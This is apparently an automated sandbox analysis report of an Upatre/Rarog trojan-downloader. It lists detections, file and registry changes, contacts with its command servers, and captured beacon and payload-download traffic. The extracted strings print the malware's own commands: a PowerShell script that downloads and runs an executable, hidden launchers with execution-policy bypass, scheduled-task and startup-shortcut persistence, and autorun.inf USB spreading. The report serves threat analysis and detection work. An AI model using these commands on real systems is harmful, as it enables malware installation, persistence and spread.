Trojan-Downloader.Win32.Upatre.ghqv_8716a233e9
Trojan.GenericKD.6247001 (BitDefender), Trojan-Downloader.Win32.Upatre.ghqv (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.GenericKD.6247001 (B) (Emsisoft), Artemis!8716A233E9F8 (McAfee), Trojan.GenericKD.6247001 (FSecure), Win32:Malware-gen (AVG), Win32:Malware-gen (Avast), mzpefinder_pcap_file.YR, GenericAutorunWorm.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Worm, WormAutorun, Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Requires JavaScript enabled! |
---|
MD5: 8716a233e9f86637aeb3a52bef018b26
SHA1: 397712a489ef01ca601484c950ebbdb491a27835
SHA256: 0e7a288ce12088dc715ca4465ded0a0e07ae937a76942dca0cbfa7463f78908b
SSDeep: 49152:ZMJxjBezBsWz 9UIwEZC41HBwXALo/9jeMLNhn:ZgDezBscdyAXAi9jeMDn
Size: 1927680 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2017-11-17 09:41:51
Analyzed on: Windows7 SP1 32-bit
Summary:
Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Trojan-Downloader creates the following process(es):
cscript.exe:3088
cscript.exe:1720
%original file name%.exe:4000
The Trojan-Downloader injects its code into the following process(es):
WerFault.exe:2444
Isass.exe:2856
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process cscript.exe:3088 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)
The process cscript.exe:1720 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk (1 bytes)
The process Isass.exe:2856 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe (14071 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe (14071 bytes)
C:\ProgramData\WindowsAppCertification\checker.vbs (356 bytes)
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\muxu.exe (415827 bytes)
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat (5 bytes)
C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1 (1358 bytes)
C:\ProgramData\WindowsAppCertification\cert.cmd (606 bytes)
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe (14071 bytes)
The process %original file name%.exe:4000 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe (14071 bytes)
Registry activity
The process WerFault.exe:2444 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "17 04 00 C0 01 00 00 00 00 00 00 00 FD CE 1E 00"
[HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"
[HKCU\Software\Microsoft\Windows\Windows Error Reporting\Debug\UIHandles]
"FirstLevelConsentDialog" = "Type: REG_QWORD, Length: 8"
The process Isass.exe:2856 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows]
"Kopatel" = "install=done"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
"AutoDetect" = "1"
To automatically run itself each time Windows is booted, the Trojan-Downloader adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Windows_Antimalware_Host_Syst" = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe"
The Trojan-Downloader deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
The process %original file name%.exe:4000 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"
The Trojan-Downloader deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer.
VersionInfo
Company Name: Microsoft Corporation
Product Name: HD Player
Product Version: 10.0.15063.0
Legal Copyright: (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: AxInstUI.exe
Internal Name: AxInstUI
File Version: 10.0.15063.0 (WinBuild.160101.0800)
File Description: ActiveX Installer Service
Comments:
Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 322901 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rdata | 327680 | 95322 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.data | 425984 | 13648 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.sdfds0 | 442368 | 788035 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.sdfds1 | 1232896 | 1874416 | 1874432 | 5.38481 | f49afb25ad535cda5502c10a828e5d47 |
.reloc | 3108864 | 2004 | 2048 | 3.10674 | 26c13fbd22315e831f6b06fd37dc06d3 |
.rsrc | 3112960 | 50046 | 50176 | 3.01836 | 8014ca88f59aa68468ee0fda6e829590 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
URLs
URL | IP |
---|---|
hxxp://api.gopanel.ru/2.0/method/checkConnection | ![]() |
hxxp://api.gopanel.ru/2.0/method/error | ![]() |
hxxp://api.gopanel.ru/4.0/method/installSuccess | ![]() |
hxxp://api.gopanel.ru/4.0/method/check | ![]() |
hxxp://api.gopanel.ru/4.0/method/threads | ![]() |
hxxp://api.gopanel.ru/2.0/method/get | ![]() |
hxxp://ted.rutda.ru/JisoHw21/muxu.exe | ![]() |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
ET POLICY PE EXE or DLL Windows file download HTTP
Traffic
GET /JisoHw21/muxu.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Host: ted.rutda.ru
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:39:44 GMT
Content-Type: application/octet-stream
Content-Length: 3817984
Connection: keep-alive
Set-Cookie: __cfduid=d3b32c095a984e04fd5463f85aaec4ed51522985984; expires=Sat, 06-Apr-19 03:39:44 GMT; path=/; domain=.rutda.ru; HttpOnly
Last-Modified: Fri, 02 Feb 2018 08:15:56 GMT
ETag: "5a741e3c-3a4200"
Accept-Ranges: bytes
Server: cloudflare
CF-RAY: 40713aa5c30e8448-KBPMZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...z.WZ
.....................f........<...........@........................
..`m......e:....... .......................I.x....D>......Pm.......
...............@m...............................B.H...................
.pI..............................text...@...........................`.
P`.data...t...........................@.`..rdata...%..................
........@.`@.eh_fram..... ......................@.0@.bss..............
....................`..edata..x.... ......................@.0@.idata..
.$...0......................@.0..CRT....8....`......................@.
0..tls.... ....p......................@.0..dfgjh0...#.................
........`..`.dfgjh1.. :...3..,:.................`..`.reloc.......@m...
...0:.............@.0@.rsrc........Pm......::.............@.0.........
......................................................................
....................................................J...E'...L%.f...Af
.....hf..........7...f.T%.........e....0.fQi.ct(A......,6.............
H...............L.T%.M..A.......Q..J.......xl,.........f..E.f......T%.
..I.............2......f.E.f.....f.......D%......c........;.3.f;....7.
...l%..D%.f...6...[f...[^f..._........3...J:.f......f;....f... `...V.I
.F..6...[.Y.hA...m\.2.. ......q.<N.{=5F....?.r36..j.........!..Xer.
dMv.....67.....$...`.*M..U.d...W...U........1..;W....P1P..t..'..L.5.o.
~.O.D<........q........N.......N........$=."W.!y]<...A%....~<<< skipped >>>
POST /2.0/method/checkConnection HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:38:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d32a6167fcb96d04a197501d574eba1721522985920; expires=Sat, 06-Apr-19 03:38:40 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4071391246748b5e-KBPc..c3VjY2Vzcw==..0......
POST /2.0/method/error HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 9
Host: api.gopanel.ru
profile=1
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:38:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d32a6167fcb96d04a197501d574eba1721522985920; expires=Sat, 06-Apr-19 03:38:40 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713912e68c8b5e-KBP0..
POST /2.0/method/checkConnection HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:39:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d98de5fdb339af3a9576c322bb87e60ee1522985982; expires=Sat, 06-Apr-19 03:39:42 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713a9825b9844e-KBPc..c3VjY2Vzcw==..0..HTTP/1.1 200 OK..Date: Fri, 06 Apr 2018 03:39:42 G
MT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked
..Connection: keep-alive..Set-Cookie: __cfduid=d98de5fdb339af3a9576c32
2bb87e60ee1522985982; expires=Sat, 06-Apr-19 03:39:42 GMT; path=/; dom
ain=.gopanel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudflare..
CF-RAY: 40713a9825b9844e-KBP..c..c3VjY2Vzcw==..0......
POST /4.0/method/check HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 8
Host: api.gopanel.ru
id=41642
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:39:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dab05be0b4ebeab5a7b3f67fb1177c3781522985983; expires=Sat, 06-Apr-19 03:39:43 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713a99f5ce844e-KBPc..c3VjY2Vzcw==..0......
POST /4.0/method/threads HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:39:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dab05be0b4ebeab5a7b3f67fb1177c3781522985983; expires=Sat, 06-Apr-19 03:39:43 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713a9a95d7844e-KBP10..MTsxOzE7MTsyOw==..0..HTTP/1.1 200 OK..Date: Fri, 06 Apr 2018 03:39
:43 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: ch
unked..Connection: keep-alive..Set-Cookie: __cfduid=dab05be0b4ebeab5a7
b3f67fb1177c3781522985983; expires=Sat, 06-Apr-19 03:39:43 GMT; path=/
; domain=.gopanel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudfl
are..CF-RAY: 40713a9a95d7844e-KBP..10..MTsxOzE7MTsyOw==..0.....
.
POST /2.0/method/get HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 8
Host: api.gopanel.ru
id=41642
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:39:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=dab05be0b4ebeab5a7b3f67fb1177c3781522985983; expires=Sat, 06-Apr-19 03:39:43 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713a9db5f8844e-KBP40..aHR0cDovL3RlZC5ydXRkYS5ydS9KaXNvSHcyMS9tdXh1LmV4ZTttdXh1LmV4ZQ==..
0..HTTP/1.1 200 OK..Date: Fri, 06 Apr 2018 03:39:43 GMT..Content-Type:
text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: kee
p-alive..Set-Cookie: __cfduid=dab05be0b4ebeab5a7b3f67fb1177c3781522985
983; expires=Sat, 06-Apr-19 03:39:43 GMT; path=/; domain=.gopanel.ru;
HttpOnly..Vary: Accept-Encoding..Server: cloudflare..CF-RAY: 40713a9db
5f8844e-KBP..40..aHR0cDovL3RlZC5ydXRkYS5ydS9KaXNvSHcyMS9tdXh1LmV4ZTttd
Xh1LmV4ZQ==..0..
POST /2.0/method/checkConnection HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 0
Host: api.gopanel.ru
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:38:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=d5d1a7394532cedc2694ce33920f386621522985920; expires=Sat, 06-Apr-19 03:38:40 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 40713912649d8b52-KBPc..c3VjY2Vzcw==..0..HTTP/1.1 200 OK..Date: Fri, 06 Apr 2018 03:38:40 G
MT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked
..Connection: keep-alive..Set-Cookie: __cfduid=d5d1a7394532cedc2694ce3
3920f386621522985920; expires=Sat, 06-Apr-19 03:38:40 GMT; path=/; dom
ain=.gopanel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudflare..
CF-RAY: 40713912649d8b52-KBP..c..c3VjY2Vzcw==..0......
POST /4.0/method/installSuccess HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Length: 217
Host: api.gopanel.ru
buildID=5.1&hwid={e29ac6c0-7037-11de-816d-806e6f6e6963}&profile=1&os=Microsoft Windows 7 Ultimate &platform=x86&processor=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz&videocard=VMware SVGA 3D (Microsoft Corporation - WDDM)
HTTP/1.1 200 OK
Date: Fri, 06 Apr 2018 03:38:42 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=db9a7ac0378f0d763c5d68f4e7deef2721522985922; expires=Sat, 06-Apr-19 03:38:42 GMT; path=/; domain=.gopanel.ru; HttpOnly
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 4071391d85e68b52-KBP5..41642..0..HTTP/1.1 200 OK..Date: Fri, 06 Apr 2018 03:38:42 GMT..Con
tent-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Conne
ction: keep-alive..Set-Cookie: __cfduid=db9a7ac0378f0d763c5d68f4e7deef
2721522985922; expires=Sat, 06-Apr-19 03:38:42 GMT; path=/; domain=.go
panel.ru; HttpOnly..Vary: Accept-Encoding..Server: cloudflare..CF-RAY:
4071391d85e68b52-KBP..5..41642..0..
The Trojan-Downloader connects to the servers at the folowing location(s):
.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path 'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
#C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
}4.mM3Y
-.VNt
C(b%D_
{o %f
TP0%dWG
.TqB3
.sn|3
)oh.xf
`.Bf;
k%2S["E
T%s_]
T5&%f
a.BAQ)5
u%u;$,
X%3U3
m.Rf3
5"%SQ
KERNEL32.dll
|&$
7:q.CU
U3.belg
N3.KH3R
WinHttpReceiveResponse
GetProcessHeap
%U8[3Y%
7%c'(S*
A.rp=
rr.Yv
n7%X%
WinHttpOpen
_m`>
%C&C(
w 9%c
Dx.YCBDe
[C.xD}[xE
/11p-b}
;Ù"
T?.LV
Xc.DV|
q0.ni
c_pN.xD
(u.YS
V%k%c
.Mk06
qcMD!
Qu.aH
^e.qcy
%fY0W
)`(%x
.nk&{v
zd.SF
^.FuS
5g%s0
BXt.PQV
O.XXw
ŸALAEO
.VuV`
Wc<%X
}z.ZB
!b,%c?
m.jF(
M%s02
.Dmo6
5EÂ:
.uOOQ!`{t
%f&Va
c3)J%F
.iLQ(x-))
g%sAv@
=È:
{0YWEBr
d~.qq|
3
vQ%D%
}v.Hu
Lg.TW;
/P2%c
l%Fn)
~l`.ML
=%5uIn
u.jCet
{0.pAN
WinHttpCloseHandle
RegOpenKeyExW
RegCloseKey
USER32.dll
20Óny@3
%X3E5$
%dS|#Z}A
RegOpenKeyExA
ShellExecuteW
%Cu3'
.msz:
WinHttpOpenRequest
WinHttpQueryDataAvailable
m{O33:\r3.kn
.Il$b
WinHttpSendRequest
Wk.JH
%.X?s?:8
.bS>mv
D.eP3
Ëmh
Pl_.Hn
N`r%f
.fPK=
-7}hI
SHFileOperationW
6Z.lg
.ZX[c
%s}$mT
WS2_32.dll
WINHTTP.dll
WinHttpReadData
GetCPInfo
SHELL32.dll
ole32.dll
WinHttpConnect
OLEAUT32.dll
ADVAPI32.dll
(7,7074787<7@7
cOXY/P.Z0.0.QR00/ZPP0000000/0PPZR.BI@/DE0,
version="5.1.0.0"
name="Microsoft.Windows.AxInstaller.UI"
<requestedExecutionLevel
api-ms-win-core-synch-l1-2-0.dll
kernel32.dll
mscoree.dll
Assertion failed: %Ts, file %Ts, line %d
ext-ms-win-ntuser-windowstation-l1-1-0
portuguese-brazilian
combase.dll
advapi32.dll
Mozilla/5.0 (Windows NT 6.1) Rarog/5.0
Content-Type: application/x-www-form-urlencoded
Rarog.cpp
/Create /SC MINUTE /MO 30 /TN "Windows_Antimalware_Host" /TR "C:\ProgramData\WindowsAppCertification\checker.vbs" /F
schtasks.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers
SecurityHeaIthService.exe
SystemldleProcess.exe
winIogon.exe
Isass.exe
taskmgr.exe
C:\Windows\System32\cmd.exe
/c erase %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk
/delete /tn Windows_Antimalware_Host_Systm /f
/delete /tn Windows_Antimalware_Host /f
C:\ProgramData\WindowsAppCertification\*.*
/Create /SC MINUTE /MO 5 /TN "Windows_Antimalware_Host_Systm" /TR "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" /F
/c echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs & echo sLinkFile = "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Isass.lnk" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = "C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs
tC:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\*.*
/c taskkill /im Isass.exe /f & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
Software\Microsoft\Windows
/c taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RENAME C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe Isass.exe & C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
10.0.15063.0 (WinBuild.160101.0800)
AxInstUI.exe
Windows
Operating System
10.0.15063.0
SecurityHeaIthService.exe_3076:
.text
`.rdata
@.data
.sdfds0
`.sdfds1
`.reloc
@.rsrc
j.Yf;
_tcPVj@
.PjRW
operation not permitted
address family not supported
broken pipe
function not supported
inappropriate io control operation
not supported
operation canceled
operation in progress
operation not supported
operation would block
protocol not supported
InitOnceExecuteOnce
operator
operator ""
operator co_await
GetProcessWindowStation
?#%X.y
%S#[k
MaxPolicyElementKey
pExecutionResource
C:\ProgramData\MicrosoftCorporation\Windows\Modules\
C:\ProgramData\MicrosoftCorporation\Windows\Modules
autorun.inf
autorun.exe
open = autorun.exe
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}\driver.dat
{EXE_NAME}
{EXE_PATH}
C:\ProgramData\WindowsAppCertification
WindowHelperStorageHostSystemThread.ps1
$furl = 'hXXp://
C:\ProgramData\WindowsAppCertification\
$path = 'C:\ProgramData\MicrosoftCorporation\Windows\System32\'
$fpath = $path 'Isass.exe'
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($furl,$fpath)
C:\ProgramData\WindowsAppCertification\checker.vbs
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\ProgramData\WindowsAppCertification\cert.cmd",0
C:\ProgramData\WindowsAppCertification\cert.cmd
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file C:\ProgramData\WindowsAppCertification\WindowHelperStorageHostSystemThread.ps1
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SecurityHeaIthService.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\SystemldleProcess.exe
C:\ProgramData\MicrosoftCorporation\Windows\Helpers\winIogon.exe
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}
C:\ProgramData\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\
C:\ProgramData\MicrosoftCorporation\Windows\System32\_Isass.exe
Software\Microsoft\Windows\CurrentVersion\Run
Windows_Antimalware_Host_Syst
C:\ProgramData\{4FCEED6C-B7D9-405B-A844-C3DBF418BF87}
/c timeout 5 & taskkill /im Isass.exe /f & erase C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe & RMDIR /s/q "C:\ProgramData\MicrosoftCorporation" & exit
open_url
C:\ProgramData\MicrosoftCorporation\Windows\System32\Isass.exe
C:\ProgramData\MicrosoftCorporation
C:\ProgramData\MicrosoftCorporation\Windows
C:\ProgramData\MicrosoftCorporation\Windows\System32
SELECT * FROM Win32_OperatingSystem
ntdll.dll
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AU_Crt_new_delete@std@@
}4.mM3Y
-.VNt
C(b%D_
{o %f
TP0%dWG
.TqB3
.sn|3
)oh.xf
`.Bf;
k%2S["E
T%s_]
T5&%f
a.BAQ)5
u%u;$,
X%3U3
m.Rf3
5"%SQ
KERNEL32.dll
|&$
7:q.CU
U3.belg
N3.KH3R
WinHttpReceiveResponse
GetProcessHeap
%U8[3Y%
7%c'(S*
A.rp=
rr.Yv
n7%X%
WinHttpOpen
_m`>
%C&C(
w 9%c
Dx.YCBDe
[C.xD}[xE
/11p-b}
;Ù"
T?.LV
Xc.DV|
q0.ni
c_pN.xD
(u.YS
V%k%c
.Mk06
qcMD!
Qu.aH
^e.qcy
%fY0W
)`(%x
.nk&{v
zd.SF
^.FuS
5g%s0
BXt.PQV
O.XXw
ŸALAEO
.VuV`
Wc<%X
}z.ZB
!b,%c?
m.jF(
M%s02
.Dmo6
5EÂ:
.uOOQ!`{t
%f&Va
c3)J%F
.iLQ(x-))
g%sAv@
=È:
{0YWEBr
d~.qq|
3
vQ%D%
}v.Hu
Lg.TW;
/P2%c
l%Fn)
~l`.ML
=%5uIn
u.jCet
{0.pAN
WinHttpCloseHandle
RegOpenKeyExW
RegCloseKey
USER32.dll
20Óny@3
%X3E5$
%dS|#Z}A
RegOpenKeyExA
ShellExecuteW
%Cu3'
.msz:
WinHttpOpenRequest
WinHttpQueryDataAvailable
m{O33:\r3.kn
.Il$b
WinHttpSendRequest
Wk.JH
%.X?s?:8
.bS>mv
D.eP3
Ëmh
Pl_.Hn
N`r%f
.fPK=
-7}hI
SHFileOperationW
6Z.lg
.ZX[c
%s}$mT
WS2_32.dll
WINHTTP.dll
WinHttpReadData
GetCPInfo
SHELL32.dll
ole32.dll
WinHttpConnect
OLEAUT32.dll
ADVAPI32.dll
(7,7074787<7@7
